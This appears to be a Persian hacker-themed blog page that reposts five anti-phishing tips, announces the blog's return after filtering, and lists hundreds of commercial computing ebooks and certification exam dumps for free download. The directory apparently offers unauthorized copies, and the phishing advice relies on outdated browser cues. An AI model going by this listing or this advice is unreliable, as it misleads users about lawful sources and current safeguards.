پنج روش که به شما در محافظت از خودتان در مقابل phishing کمک می کند

همانند دنیای فیزیکی، جاعلان در دنیای اینترنت ایجاد روش های جدید و گمراه کننده تر را برای فریب شما ادامه می دهند. اما پی گیری این پنج روش به شما برای محافظت از اطلاعات شخصیتان کمک می کند.

۱- هرگز به تقاضاهایی که از طریق ایمیل یا پنجره های pop-up اطلاعات شخصی شما را می خواهند، پاسخ ندهید. اگر شک دارید، با موسسه ای که مدعی ارسال ایمیل یا پنجره pop-up است، تماس بگیرید.

اکثر مراکز تجاری قانونی، کلمات عبور، شماره کارت های اعتباری و سایر اطلاعات شخصی را از طریق ایمیل مورد سوال قرار نخواهند داد. اگر ایمیلی اینچنین دریافت کردید، پاسخ ندهید. اگر فکر می کنید که ایمیل صحت دارد، برای تایید از طریق تلفن یا وب سایتشان با آنها تماس بگیرید. اگر احساس می کنید که هدف یک حیله phishing قرار گرفته اید، گام بعدی را برای بهترین روش های رفتن به وب سایت ببینید.

۲- وب سایت ها را با تایپ آدرس آنها در address bar ببینید.

اگر شک دارید که ایمیل از شرکت کارت اعتباری، بانک، سرویس پرداخت آنلاین یا وب سایتهای دیگری است که با آنها تجارت انجام می دهید نباشد، لینک ها را از طریق ایمیل برای رفتن به وب سایت دنبال نکنید. آن لینک ها ممکن است شما را به سایت جعلی ببرند که تمام اطلاعاتی را که وارد می کنید برای جاعل آن سایت ارسال کنند.

حتی اگر address bar آدرس درستی نشان می دهد، خطر آن را نپذیرید. چندین روش برای هکرها وجود دارد تا یک URL جعلی در address bar مرورگرتان نمایش دهند. نسخه های جدیدتر مرورگرها جعل آدرس را مشکل تر می کنند، بنابراین بهتر است که مرورگرتان را مرتب به روز نگهدارید. اگر فکر می کنید که این به روزرسانی ها را همواره به یاد نخواهید داشت، می توانید کامپیوترتان را برای بروزرسانی های خودکار پیکربندی کنید.

۳- بررسی کنید تا مطمئن شوید که وب سایت از رمزنگاری استفاده می کند.

اگر به دسترسی به وب سایت از طریق address bar اعتماد ندارید، چگونه میدانید که ممکن است امن باشد؟ چند روش مختلف وجود دارد. نخست، قبل از وارد کردن هرگونه اطلاعات شخصی، بررسی کنید که آیا سایت از رمزنگاری برای ارسال اطلاعات شخصی شما استفاده می کند. در اینترنت اکسپلورر می توانید این عمل را با دیدن آیکون قفل زردرنگی که در status bar نشان داده می شود، بررسی کنید.




این نشانه دلالت بر استفاده از وب سایت از رمزنگاری برای کمک به محافظت از اطلاعات حساس دارد. ـ شمار کارت اعتباری، شماره امنیتی اجتماعی، جزئیات پرداخت – که شما وارد می کنید.

بر روی این علامت دوبار کلیک کنید تا گواهی امنیتی برای سایت نشان داده شود. نام بعد از Issued to باید با سایتی که در آن حاضر هستید مطابقت کند. اگر نام متفاوت است، احتمالاً در سایت جعلی قرار دارید. اگر مطمئن نیستید که یک گواهی قانونی است، هیچ اطلاعات شخصی وارد نکنید. احتیاط کنید و سایت را ترک کنید.

۴- بطور منظم اعلامیه های کارت اعتباری و بانک تان را مرور کنید.

حتی اگر سه مرحله قبل را انجام می دهید، هنوز ممکن است قربانی دزدی هویت شوید. اگر اعلامیه های بانک تان و کارت اعتباری تان را حداقل ماهانه مرور کنید، ممکن است بتوانید یک جاعل را شناسایی و از وارد آمدن خسارات قابل توجه جلوگیری کنید.

۵- سو ءاستفاده های مشکوک از اطلاعات شخصیتان را به مراکز مناسب گزارش کنید.

اگر قربانی چنین حقه ای بوده اید باید:

· فوراً جعل را به شرکتی که جعل در مورد آن صورت گرفته است، گزارش کنید. اگر مطمئن نیستید که چگونه با شرکت تماس بگیرید، وب سایت شرکت را برای گرفتن اطلاعات صحیح تماس، نگاه کنید. شرکت ممکن است یک آدرس ایمیل مخصوص برای گزارش چنین سو ءاستفاده ای داشته باشد. بخاطر داشته باشید که هیچ لینکی را در ایمیل phishing که دریافت کرده اید، دنبال نکنید. باید آدرس شناخته شده شرکت را مستقیماً در address bar مرورگرتان تایپ کنید.

· جزئیات جعل را، مانند ایمیل هایی که دریافت کرده اید، به مراکز ذیصلاح قانونی همچون [URL=http://www.ifccfbi.gov/index.asp]مرکز شکایات تقلب های اینترنتی[/URL] گزارش کنید. این مرکز در کل دنیا برای از کار اندازی سایت های phishing و شناسایی افراد پشت این کلاه برداری ها، کار می کند.

در چنین شرایطی برای آموختن نحوه به حداقل رساندن میزان خسارت می توانید به [URL=http://www.consumer.gov/idtheft/]وب سایت دزدی هویت FTC [/URL] سر بزنید.

منبع: ircert.com
+ نوشته شده در  شنبه دهم شهریور 1386ساعت 13:7  توسط Devil Hacker  | 

بازگشت

                                              

سلام به همه دوستان و علاقه مندان این وبلاگ همان طور که همه میدونید این وبلاگ ف ی ل ت ر شده بود بعدشم یه نفر این دامین منو رجیستر کرد واسه خودش !

میدونید که بلاگفا زیر حملات Ddos ,.... کمرش برید و ترس مدیران بلاگفا از دست دادن دامین blogfa.com الان که میبینید این وبلاگ دوباره به راه به احتمال زیاد از خیرو برکت بک آپ از سایته که خود مدیران ریستور کردن ( مسخرست نه ؟ )

به هر حال دستشون درد نکنه منم که برگشتم

 خبر بازگشایی این وبلاگو به دوستان و ..... بگویید

+ نوشته شده در  شنبه دهم شهریور 1386ساعت 12:9  توسط Devil Hacker  | 

Download Free Ebook

 

[   ] (Ebook) - Html - Linux Configuration & Installation (Slackware).zip 19-Jan-2004 00:00  1.7M  
[   ] (Ebook) Redhat Linux Rhce Cramsession.pdf 30-Dec-2003 00:00  523K  
[   ] (Sams 2002) - Enhydra XMLC Java Presentation Development.rar 14-Jul-2003 00:00  2.5M  
[   ] (eBook) Sun - Solaris 9 SysAd Guide - Advanced.pdf 30-Dec-2003 00:00  1.4M  
[   ] (eBook - pdf) Solaris Kernel Tuning for Security.pdf 30-Dec-2003 00:00  112K  
[   ] (eBook - pdf) Zope and MySQL.pdf 02-Jul-2003 00:00  130K  
[   ] (ebook) - Slackware Linux Unleashed, Third Edition.zip 15-Jul-2003 00:00  944K  
[   ] (ebook - English) Advanced Linux Programming.pdf 02-Jul-2003 00:00  3.7M  
[   ] (ebook - HTML) JBoss and PostgreSQL.rar 02-Jul-2003 00:00   19K  
[   ] (ebook - PDF) JBoss Group - JBoss All Docs Subscription.zip 11-Jul-2003 00:00   17M  
[   ] (ebook - PDF) JBoss Server Development with Eclipse.pdf 11-Jul-2003 00:00  371K  
[   ] (ebook-PDF) Slackware Linux Essentials (edonkeylinks.com) [f.zip 11-Jul-2003 00:00  2.1M  
[   ] (ebook - chm) - Misc - Debian The Perfect Setup.chm 11-Jan-2005 12:46  635K  
[   ] (ebook-html) - SAMS - Slackware Linux Unleashed - Kamran Hus.zip 11-Jul-2003 00:00  925K  
[   ] (ebook-pdf) - SAMS - DB2 Developer's Guide-Fourth Edition.pdf 26-Mar-2004 00:00   19M  
[   ] (ebook - pdf) Hack Proofing Linux.pdf 02-Jul-2003 00:00   12M  
[   ] (ebook - pdf) Programming Linux Games.pdf 15-Sep-2003 00:00  1.8M  
[   ] (ebook - pdf) UNIX Cook Book.pdf 09-Jul-2003 00:00  107K  
[   ] (ebook - pdf) UNIX Programmer's Manual.pdf 09-Jul-2003 00:00  1.2M  
[   ] (ebook-txt) David Mertz - Text Processing In Python.zip 30-Dec-2003 00:00  1.4M  
[   ] (ebook.-.html).RHCE.Syngress.Red.Hat.Certified.Engineer.Study.Guide.2nd.ed.Ebook.Only.nothingyoudon't.rar 30-Aug-2004 00:00   13M  
[   ] 2_Oracle OCP Admin Exam.doc 12-Apr-2004 00:00   11M  
[   ] 100_LINUX_TIPS_AND_TRICKS.PDF 02-Jul-2003 00:00  1.2M  
[   ] AIX Reference for Sun Solaris Administrators.pdf 09-Jan-2004 00:00  5.0M  
[   ] APress - The Definitive Guide to MySQL, 2nd Ed - 2004 - (By Laxxuss).chm 08-Nov-2004 12:59  8.7M  
[   ] A_Buffer_Overflow_Study_-_Attacks_and_Defenses_(2002).pdf 25-Jan-2005 12:54  485K  
[   ] ActiveState.Visual.Python.for.VS.NET.2003-1.8.0.shared_via_w.rar 01-Jul-2003 00:00   17M  
[   ] Addison Wesley - Advanced Linux Networking.chm 18-Apr-2003 00:00  3.0M  
[   ] Addison Wesley - Firewalls and Internet Security.rar 20-Mar-2003 00:00  1.6M  
[   ] Addison Wesley - Learn to Program Using Python 1st edtion.zip 06-Nov-2002 00:00  242K  
[   ] Addison Wesley - Linux Kernel 2.4 Internals.rar 23-Mar-2003 00:00  164K  
[   ] Addison Wesley - Multitool Linux - Practical Uses For Open Source Software.rar 22-Mar-2003 00:00  6.0M  
[   ] Addison Wesley - Perl To Python Migration - 2001 - (By Laxxuss).chm 30-Dec-2003 00:00  426K  
[   ] Addison Wesley - PostgreSQL - Introduction and Concepts.pdf 02-Jul-2003 00:00  2.7M  
[   ] Addison Wesley - Sendmail Performance Tuning.chm 10-Jul-2003 00:00  548K  
[   ] Addison Wesley - Tcl and The Tk Toolkit.pdf 14-Jul-2003 00:00  948K  
[   ] Addison Wesley - UNIX.Network.Programming.Volume.1.3rd.Ed.The.Sockets.Networking.API-LiB.chm 14-Mar-2005 11:51  5.4M  
[   ] Administracion Tomcat.pdf 11-Jul-2003 00:00  515K  
[   ] Advanced_Python_programming.pdf 01-Jul-2003 00:00  194K  
[   ] Apache Jakarta Tomcat 2 (APress).pdf 02-Jul-2003 00:00  1.8M  
[   ] Apache based WebDAV with LDAP and SSL HOWTO3.pdf 02-Jul-2003 00:00   50K  
[   ] Boson CCNA 640-801.pdf 06-Feb-2004 00:00   10M  
[   ] Clustering with Tomcat.pdf 02-Jul-2003 00:00  186K  
[   ] Core_Python_Programming[Wesley J. Chun](Prentice Hall PTR).pdf 01-Jul-2003 00:00  7.9M  
[   ] Coriolis - Open Source Development With CVS.pdf 30-Oct-2002 00:00  1.1M  
[   ] Coriolis - Solaris 8 System Administrator Exam Cram.rar 19-Apr-2003 00:00  2.0M  
[   ] CorrectExams Oracle 1Z0-031 Exam Study Guide v1-2003.pdf 25-Jun-2004 00:00  1.0M  
[   ] DATABASE.#.Apache.Server.2.bible.rar 02-Jul-2003 00:00  2.9M  
[   ] Data Structures and Algorithms with Object-Oriented Design Patterns in Python (2004).chm 14-Mar-2005 10:47  3.3M  
[   ] Db2 Cookbooks.zip 08-Jul-2004 00:00  1.2M  
[   ] Debian GNU-Linux Bible.pdf 01-Dec-2004 13:33  6.7M  
[   ] Debian Linux Cookbook - Tips And Techniques For Everyday Use.pdf 01-Dec-2004 14:49  7.1M  
[   ] Design and Performance of the OpenBSD Statefull Packet Filter - Slides.pdf 30-Dec-2003 00:00  252K  
[   ] Digital.Press.Oracle.High.Performance.Tuning.for.9i.and.10g.eBook-DDU.chm 30-Mar-2004 00:00   10M  
[   ] Digital Press - Oracle High Performance Tuning for 9i and 10g.chm 27-May-2004 00:00   10M  
[   ] Exam Cram - Solaris 9.pdf 02-Jan-2004 00:00   17M  
[   ] Exim The Mail Transfer Agent.pdf 11-Jul-2003 00:00  5.7M  
[   ] FAQ_Tomcat_SOAP_SSL.pdf 11-Jul-2003 00:00  182K  
[   ] FreeBSD-MailServer-IMAP_POP3.pdf 01-Jul-2003 00:00  223K  
[   ] FreeBSD-MailServer-Sendmail.pdf 01-Jul-2003 00:00  262K  
[   ] FreeBSD Chinese HowTo.pdf 08-Jul-2003 00:00  1.1M  
[   ] FreeBSD Developers' Handbook.pdf 01-Jul-2003 00:00  1.3M  
[   ] FreeBSD Handbook_5.1.chm 27-Sep-2004 12:05  2.3M  
[   ] FreeBSD faq book.pdf [found via www.fileDonkey.com].zip 01-Jul-2003 00:00  398K  
[   ] GUI Programming with Python.zip 14-Jul-2003 00:00   16M  
[   ] Guide_to_Building_an_OpenBSD_PPPoE_Gateway.mht 02-Jan-2004 00:00   70K  
[   ] How_To_Think_Like_A_Computer_Scientist-Learning_With_Python-2002.pdf 01-Jul-2003 00:00  863K  
[   ] How_to_Build_a_FreeBSD_Firewall_with_IPFILTER_[bajardistro.com.ar].tar.gz 08-Jul-2003 00:00   22K  
[   ] How to Build a FreeBSD-STABLE firewall with IPFILTER.pdf 30-Dec-2003 00:00   66K  
[   ] Hungry.Minds.-.BEA.WebLogic.Server.Bible.-.2002.-.(By.Laxxuss).pdf 01-Mar-2004 00:00   15M  
[   ] ITCertify - Oracle 9i 1Z0-031 Database Fundamentals I v15[1][1].0.pdf 25-Jun-2004 00:00  769K  
[   ] Interprocess Communications in Linux.chm 15-Sep-2003 00:00  1.9M  
[   ] Intrusion Detection Systems with Snort - Prentice Hall - 2003.pdf 11-Aug-2004 00:00  2.5M  
[   ] JBoss Administration (3.2.x Series) - 2003.pdf 28-Oct-2004 14:46  8.4M  
[   ] JBoss Administration and Development 2nd Ed (2002).pdf 11-Jul-2003 00:00  6.9M  
[   ] JBoss_Group~JBossCMP_2nd_Ed~(2002).pdf.zip 14-Jul-2003 00:00  354K  
[   ] John.Wiley.AndSons.Network.Performance.Toolkit.Using.Open.Source.Testing.Tools.eBook-LiB.pdf 26-Mar-2004 00:00  4.4M  
[   ] John.Wiley.and.Sons.PHP5.and.MySQL.Bible.eBook.pdf 10-Jul-2004 00:00   16M  
[   ] Linux.C++.Programming.HOWTO.pdf 02-Jul-2003 00:00  233K  
[   ] Linux Bible RedHat.pdf 08-Jul-2003 00:00  6.4M  
[   ] Linux Red Hat Security and Optimization.zip 08-Jul-2003 00:00  4.4M  
[   ] Linux_RedHat_Cluster_Manager_InstallationAdministrationGuide.pdf 15-Sep-2003 00:00  1.1M  
[   ] McGraw-Hill - MySQL - Essential Skills - 2004.chm 26-Nov-2004 16:38   14M  
[   ] McGraw.Hill.-.Oracle.Database.10g..High.Availablity.with.RAC.Flashback.&.Data.Guard.chm 13-Sep-2004 00:00  9.3M  
[   ] McGraw.Hill.RHCE.Red.Hat.Certified.Engineer.Linux.Study.Guide.Exam.RH302.4ED.Mar.2004.eBook-DDU.chm 30-Aug-2004 00:00   10M  
[   ] McGraw.Hill.Red.Hat.The.Complete.Reference.Enterprise.Linux.and.Fedora.Edition.eBook-DDU.chm 26-Apr-2004 00:00  5.6M  
[   ] McGraw Hill - Oracle Database 10g, A Beginner's Guide.chm 29-Dec-2004 08:56  2.4M  
[   ] McGrawHill-Oracle_Database_10g_New_Features.chm 29-Dec-2004 15:20  1.6M  
[   ] McGraw Hill - Sun Certified Solaris 9 0 System and Network Administrator All-in-One - 2003 [CHM].rar 30-Dec-2003 00:00  9.4M  
[   ] Mcgraw-Hill Osborne 310-014, 310-015 Scsa Solaris 9 Study Guide (2002).zip 05-Jan-2004 00:00  9.4M  
[   ] Mcgraw Hill Osborne Media How To Do Everything With Your Ipod Ebook-Ddu.pdf 28-Oct-2004 13:19   11M  
[   ] New Riders - Advanced Linux Programming.chm 21-Mar-2003 00:00  552K  
[   ] New Riders - Inside Linux.pdf 24-Oct-2002 00:00  6.7M  
[   ] New Riders - Jython for Java Programmers.chm 07-Mar-2003 00:00  713K  
[   ] New Riders - PHP Functions Essential Reference.chm 26-Mar-2003 00:00  782K  
[   ] New Riders - PostgreSQL Essential Reference.chm 26-Mar-2003 00:00  440K  
[   ] New Riders - Web Application Development With PHP4.chm 26-Mar-2003 00:00  1.4M  
[   ] New Riders - XML and PHP.chm 26-Mar-2003 00:00  1.0M  
[   ] Nmap network security scanner man page.doc 02-Jul-2003 00:00  161K  
[   ] No Starch - Linux Cook Book-1.2.pdf 08-May-2003 00:00  7.1M  
[   ] No Starch Press - Absolute BSD. The Ultimate Guide to FreeBS.pdf 01-Jul-2003 00:00  7.8M  
[   ] OpenBSD-Firewall_IDS.pdf 02-Jul-2003 00:00   72K  
[   ] OpenBSD_for_newbies.pdf 30-Dec-2003 00:00  104K  
[   ] Oracle Database 10g - DBA.pdf 24-Aug-2004 00:00  3.6M  
[   ] Oracle Database 10g - New Features.pdf 24-Aug-2004 00:00  1.7M  
[   ] Osborne - Rhce Red Hat Linux Certified Engineer Linux Study Guide Exam Rh302 3Rd Ed.rar 06-Jan-2004 00:00   11M  
[   ] PHP-Nuke-7.1.0.zip 27-Feb-2004 00:00  5.8M  
[   ] PHP 5 For Dummies.pdf 27-Jul-2004 00:00  6.0M  
[   ] PHP And PostgreSQL.pdf 02-Jul-2003 00:00   58K  
[   ] POSTFIX + COURIER-IMAP + MYSQL + QUOTA + SASL.pdf 02-Jul-2003 00:00   39K  
[   ] Peachpit Press - PHP for the World Wide Web Visual Quick Start Guide.chm 26-Mar-2003 00:00  8.9M  
[   ] Postfix-Amavisd-New.pdf 30-Dec-2003 00:00   31K  
[   ] Postfix-Cyrus-Web-cyradm-HOWTO.pdf 02-Jul-2003 00:00  202K  
[   ] Postfix-cyrus-postgreSQL-web-cyradm.pdf 30-Dec-2003 00:00  753K  
[   ] Postfix_SSL-HOWTO.pdf 30-Dec-2003 00:00   19K  
[   ] Practical Programming in Tcl and Tk (book).pdf 11-Jul-2003 00:00  1.9M  
[   ] Premier - PHP Fast And Easy Web Development 2nd Edition.chm 07-May-2003 00:00  3.3M  
[   ] Premier.Press.Game.Programming.with.Python.Lua.and.Ruby.ebook-LiB.chm 14-Mar-2005 10:05  2.3M  
[   ] Premier Press - Administering And Securing The Apache Server - 2002 [CHM].chm 01-Jul-2003 00:00   13M  
[   ] Prentice.BEA.WebLogic.Server.Administration.Kit.eBook-LiB.chm 27-Feb-2004 00:00  1.3M  
[   ] Prentice.Business.Intelligence.For.The.Enterprise.eBook-LiB.chm 16-Mar-2004 00:00  1.5M  
[   ] Prentice Hall - Integrating Linux and Windows.pdf 21-Apr-2003 00:00  4.2M  
[   ] Prentice Hall - Linux Assembly Language Programming.rar 24-Oct-2002 00:00  2.1M  
[   ] Prentice Hall - Linux Desk Reference, 2nd Edition.chm 16-Sep-2003 00:00  1.1M  
[   ] Prentice Hall - Solaris Security.rar 22-Mar-2003 00:00  1.3M  
[   ] Prentice Hall - The Art Of Unix Programming (Eric Raymond) - 2003 - (By Laxxuss).pdf 14-Mar-2005 11:44  2.4M  
[   ] Prentice Hall - UNIX Fault Management A Guide For System Administration.chm 21-Apr-2003 00:00  2.8M  
[   ] Prentice Hall - UNIX Shells by Example, Third Edition.chm 05-May-2003 00:00  2.1M  
[   ] Prentice Hall - UNIX User's Handbook 2nd Edition.chm 22-Mar-2003 00:00  4.7M  
[   ] Professional Apache Tomcat.chm 04-Mar-2004 00:00  9.7M  
[   ] Programming Ruby - The Pragmatic Programmer's Guide.pdf 02-Jul-2003 00:00  7.1M  
[   ] Python_2.1_Bible.pdf 01-Jul-2003 00:00  6.3M  
[   ] Python_Programming_with_the_JavaT_Class_Libraries_-_Addison_Wesley_-_2002.chm 01-Jul-2003 00:00  1.8M  
[   ] Que - C++ Professional Programmer's Handbook.pdf 04-Mar-2003 00:00  1.0M  
[   ] Que - Linux Socket Programming By Example - fly.pdf07-May-2003 00:00  3.9M  
[   ] Que - Maximum Security 4th Edition.chm 05-Jun-2003 00:00  2.9M  
[   ] Que - MySQL 2nd Ed.chm 23-Apr-2003 00:00  1.9M  
[   ] Que - MySQL and PHP from Scratch.chm 22-Mar-2003 00:00  1.3M  
[   ] Que - Practical Firewalls.rar 22-Mar-2003 00:00  2.9M  
[   ] Que - Practical Linux.rar 22-Mar-2003 00:00  7.6M  
[   ] Que - Solaris 9 Network Administrator Exam Cram 2 (Exam CX-310-044).zip 09-Jan-2004 00:00  1.9M  
[   ] Que - Solaris 9 System Administrator Exam Cram 2 - 2003 - (By Laxxuss).pdf 30-Dec-2003 00:00   14M  
[   ] Que - Special Edition Using Linux 4th Edition.pdf 09-May-2003 00:00  5.7M  
[   ] Que - The Concise Guide to DNS and BIND.chm 22-Mar-2003 00:00  800K  
[   ] Que - UNIX Hints Hacks.chm 21-Apr-2003 00:00  806K  
[   ] Red Hat; The Complete Reference Enterprise Linux & Fedora Edition (mcgraw-hill).rar 13-May-2004 00:00  5.6M  
[   ] Red Hat Linux Bible - Fedora and Enterprise Edition.chm 13-Sep-2004 00:00   14M  
[   ] Red Hat Rhce Rh302 Exam Simulator V4 0 Datecode 20030501-Jgt.rar30-Dec-2003 00:00  4.0M  
[   ] Redhat Rhce Study Guide.pdf 30-Dec-2003 00:00  217K  
[   ] SYNGRESS-Ruby_Developers_Guide.pdf 02-Jul-2003 00:00  4.3M  
[   ] Sams,.MySQL.Certification.Study.Guide.(2004).DDu.chm 03-Nov-2004 14:54  1.2M  
[   ] Sams, Mysql Tutorial (2004).chm 04-Nov-2004 09:40  639K  
[   ] Sams - BEA WebLogic Server 8.1 Unleashed (2003).chm 01-Mar-2004 00:00   14M  
[   ] Sams - C++ Primer Plus, Fourth Edition.chm 05-May-2003 00:00  4.4M  
[   ] Sams - C++ Unleashed-en-pdf.pdf 04-Mar-2003 00:00  4.0M  
[   ] Sams - C Primer Plus 3rd Edition.chm 08-May-2003 00:00  3.8M  
[   ] Sams - C Programming - Just the FAQS - PDF.rar 15-Sep-2002 00:00  1.6M  
[   ] Sams - MySQL and JSP Web Applications Data Driven Programming Using Tomcat And MySQL.chm 26-Mar-2003 00:00  5.1M  
[   ] Sams - PHP Developers Cookbook 2nd Edition.chm 26-Mar-2003 00:00  606K  
[   ] Sams - PHP and MySQL Web Development.chm 26-Mar-2003 00:00  8.1M  
[   ] Sams - PHP and PostgreSQL Advanced Web Programming.chm 26-Mar-2003 00:00  2.5M  
[   ] Sams - PostgreSQL.chm 27-Jun-2003 00:00  3.2M  
[   ] Sams - PostgreSQL Developers Handbook.chm 26-Mar-2003 00:00  2.2M  
[   ] Sams - Red Hat Linux Unleashed.zip 26-Mar-2003 00:00  2.3M  
[   ] Sams - Teach Yourself BEA WebLogic Server 7.0 in 21 Days - 2002 - (By Laxxuss).chm 01-Mar-2004 00:00  6.3M  
[   ] Sams - Teach Yourself PHP MySQL And Apache In 24Hours.chm 26-May-2003 00:00  3.3M  
[   ] Sams - Teach Yourself Python In 24 Hours.rar 22-Mar-2003 00:00  2.4M  
[   ] Sams - Teach Yourself Shell Programming.tgz 22-Mar-2003 00:00  317K  
[   ] Sams - Zope Web Application Construction Kit - CHM.chm 02-Jul-2003 00:00  8.3M  
[   ] Securing-Optimizing-Linux-RH-Edition.pdf 22-Oct-2002 00:00  4.9M  
[   ] Securing-Optimizing-Linux-The-Ultimate-Solution-v2.0.pdf 08-Jul-2003 00:00  4.4M  
[   ] Security Evaluation of the OpenBSD Operating System.pdf 30-Dec-2003 00:00   76K  
[   ] Simple Apache and Tomcat HOWTO.pdf 02-Jul-2003 00:00   49K  
[   ] Slackware.pdf 11-Jul-2003 00:00  4.9M  
[   ] Slackware Linux Essentials.pdf 16-Jan-2004 00:00  3.4M  
[   ] Slackware Linux Unleashed, Third Edition.rar 11-Jul-2003 00:00  904K  
[   ] Snort Enterprise.pdf 13-Sep-2004 00:00  1.1M  
[   ] Solaris 9 - Student Guide Part 2 - Sa299.pdf 09-Jan-2004 00:00  6.6M  
[   ] Solaris 9 - Student Guide part 1 - SA239.pdf 30-Dec-2003 00:00  6.5M  
[   ] Solaris 9 Fun with Sunscreen.pdf 02-Jan-2004 00:00  111K  
[   ] Solaris 9 SCSA.rar 16-Jan-2004 00:00   22M  
[   ] Solaris 9 Student Guide SA399.pdf 30-Dec-2003 00:00  3.9M  
[   ] Ssh Tectia Server 4.0.3.zip 28-Nov-2004 01:47  5.0M  
[   ] Steve'S Rhce Study Guide.doc 04-Jan-2005 10:13  751K  
[   ] Sun SCSA 310-014 Solaris 9 Admin I Exam Q&A v6.0 CorrectExams.pdf 30-Dec-2003 00:00  966K  
[   ] Sun SCSA 310-015 Solaris 9 Admin II Exam Q&A v6.0 CorrectExams.pdf 30-Dec-2003 00:00  767K  
[   ] Sun Scsa 310-015 Solaris 9 Admin Ii Exam Q&A v6.0 Correctexams(1).pdf 30-Dec-2003 00:00  768K  
[   ] Sybex - COMPLETE JAVA 2 CERTIFICATION STUDY GUIDE 3RD EDITION.rar 23-Mar-2003 00:00  8.1M  
[   ] Sybex - Firewalls.24Seven.2nd.Edition.rar 23-Mar-2003 00:00   12M  
[   ] Sybex - Linux Network Servers.rar 22-Mar-2003 00:00  6.4M  
[   ] Sybex - Linux System Administration.rar 22-Mar-2003 00:00  7.1M  
[   ] Sybex - Mastering MySQL 4.chm 01-Jun-2003 00:00  1.9M  
[   ] Sybex Linux Power Tools 2003.chm 19-Feb-2004 00:00   12M  
[   ] Sybex  OCP Oracle 10g New Features For Administrators.pdf 13-Dec-2004 16:18   15M  
[   ] Sybex Solaris 9 Sun Certified System Administrator Study Guide.chm 30-Dec-2003 00:00  3.5M  
[   ] Syngress - Hack Proofing Sun Solaris 8.pdf 09-May-2002 00:00  6.8M  
[   ] Syngress - Snort2 Intrusion Detection.pdf 05-May-2003 00:00  7.0M  
[   ] Syngress.Snort.2.1.Intrusion.Detection.Second.Edition.May.2004.eBook-DDU.pdf 16-Aug-2004 00:00   12M  
[   ] TIJ-2nd-edition.zip 30-Apr-2006 23:36  1.2M  
[   ] Teach Yourself JSP 2.0 with Apache Tomcat in 24 Hours (Sams, 2003).chm 13-Sep-2004 00:00  2.8M  
[   ] Test King - Solaris 9 Sun Certified System Administrator Part I - 310-014 4.2.rar 30-Dec-2003 00:00  628K  
[   ] Test King - Sun 310-044 Sun Certified Network Administrator For Solaris 9 (4.0).pdf 09-Jan-2004 00:00  692K  
[   ] Test King Oracle 1Z0-031 (4.1).pdf 25-Jun-2004 00:00  539K  
[   ] Testking - 310-014 Sun SCSA Solaris 9 System Administration I Edt4.2.pdf 09-Jan-2004 00:00  663K  
[   ] Testking 310-015 - Solaris 9 - Sun Cert. Syst. Adm. part II v1.pdf 30-Dec-2003 00:00  450K  
[   ] Tuning Openbsd Tar.gz 13-Jan-2004 00:00  138K  
[   ] Tutorial For Building j2Ee Applications Using Jboss And Eclipse.chm 28-Oct-2004 11:02  4.4M  
[   ] UNIX Shells by Example, 3rd Edition.rar 09-Jul-2003 00:00  1.5M  
[   ] Using Linux As A Router.pdf 02-Jul-2003 00:00   30K  
[   ] VIM Quick Reference Card.pdf 14-Jul-2003 00:00  100K  
[   ] VPN Linksys Befvp41 Vpn Router To Openbsd Ipsec Server  Wireless Mini How-To.zip 02-Jan-2004 00:00  256K  
[   ] Version Control with Subversion(2).pdf 13-Jul-2004 00:00  1.3M  
[   ] Version Control with Subversion.pdf 07-Jul-2004 00:00  1.2M  
[   ] WhizLabs Red Hat RHCE Exam RH302.zip 30-Dec-2003 00:00  5.0M  
[   ] Whizlabs - Oracle OCP - Exam Simulator 4.0 - 1Z0-031 - 20030422.rar 25-Jun-2004 00:00  4.2M  
[   ] Whizlabs - Red Hat RHCE - Exam Simulator 4.0 - RH302 - 20030501.rar 30-Dec-2003 00:00  4.0M  
[   ] Wiley - Mastering Resin - 2003.chm 05-Mar-2004 00:00   13M  
[   ] Wiley - Mysql PHP Database Applications.pdf 01-Jun-2004 00:00  3.5M  
[   ] Wiley - Secure PHP Development - Building 50 Practical Applications.pdf 26-May-2003 00:00   12M  
[   ] Wiley - The UNIX-Haters Handbook.pdf 23-May-2003 00:00  3.5M  
[   ] Williams, Sam - Free as in Freedom-Richard Stallman's Crusad.pdf 02-Jul-2003 00:00  847K  
[   ] Writing Apache Modules with Perl and C.pdf 02-Jul-2003 00:00  3.6M  
[   ] Wrox - C++ tutorial.chm 03-Apr-2003 00:00  1.2M  
[   ] Zope Bible.pdf 02-Jul-2003 00:00  4.4M  
[   ] [e-book][Linux] Securing and Optimizing Linux - RedHat Editi.pdf 08-Jul-2003 00:00  4.9M  
[   ] [ebook] Apache Server Survival Guide.rar 15-Jul-2003 00:00  2.3M  
[   ] [ebook] Data Structures And Algorithms With Object-Oriented Design Patterns In Python (2003).zip 30-Dec-2003 00:00  3.5M  
[   ] [ebook] IpTables Tutorial.pdf 02-Jul-2003 00:00  1.6M  
[   ] [ebook] Python Essential Reference, Second Edition.rar 01-Jul-2003 00:00  536K  
[   ] [ebook] Python Library Reference.rar 01-Jul-2003 00:00  916K  
[   ] [ebook]SUN certified System Administrator for Solaris v9.0 .zip 30-Dec-2003 00:00  9.4M  
[   ] [ebook] Tcl_Tk for Programmers.rar 11-Jul-2003 00:00  240K  
[   ] [ebook]_Red_Hat_Linux_Networking_and_System_Administration.zip 08-Jul-2003 00:00  7.2M  
[   ] beehive_-_the_book_of_zope_-_how_to_build_and_deliver_web_apps.zip 02-Jul-2003 00:00  3.9M  
[   ] eBook.McGraw.Hill.Osborne.Oracle.Database.10g.SQL.chm 30-Aug-2004 00:00  849K  
[   ] ebook_Snort_v2.0.0_Install.Guide.FreeBSD_english.pdf 30-Dec-2003 00:00   64K  
[   ] ebook html - Python Guide - For Beginners.zip 01-Jul-2003 00:00  102K  
[   ] iptables-HOWTO.pdf 02-Jul-2003 00:00   86K  
[   ] linux-Addison.Wesley.The.Art.Of.Unix.Programming.chm 14-Mar-2005 11:42  1.5M  
[   ] linux - Advanced Bash Shell Scripting Guide.pdf 14-Jul-2003 00:00  4.6M  
[   ] linux_programming_unleashed.pdf 11-Jul-2003 00:00  6.3M  
[   ] manual_nmap.zip 03-Jul-2003 00:00   12K  
[   ] mastering_iptables.pdf 02-Jul-2003 00:00  628K  
[   ] nmap.pdf 02-Jul-2003 00:00   60K  
[   ] oracle ocp 1z0-031 whizlabs exam simulator v4.0 datecode 20030422.rar 26-Mar-2004 00:00  4.2M  
[   ] postfix-filtering.rar 30-Dec-2003 00:00   51K  
[   ] python24.chm 01-Dec-2004 00:49  3.6M  
[   ] python_wdsl.pdf 07-Jul-2003 00:00  134K  
[   ] smarty.chm 30-Apr-2006 23:37  251K  
[   ] sspe.pdf 23-Apr-2006 17:38  692K  
[   ] thinking in python.chm 17-Jun-2003 00:00  178K  
[   ] tuning openbsd.pdf 02-Jul-2003 00:00  183K  
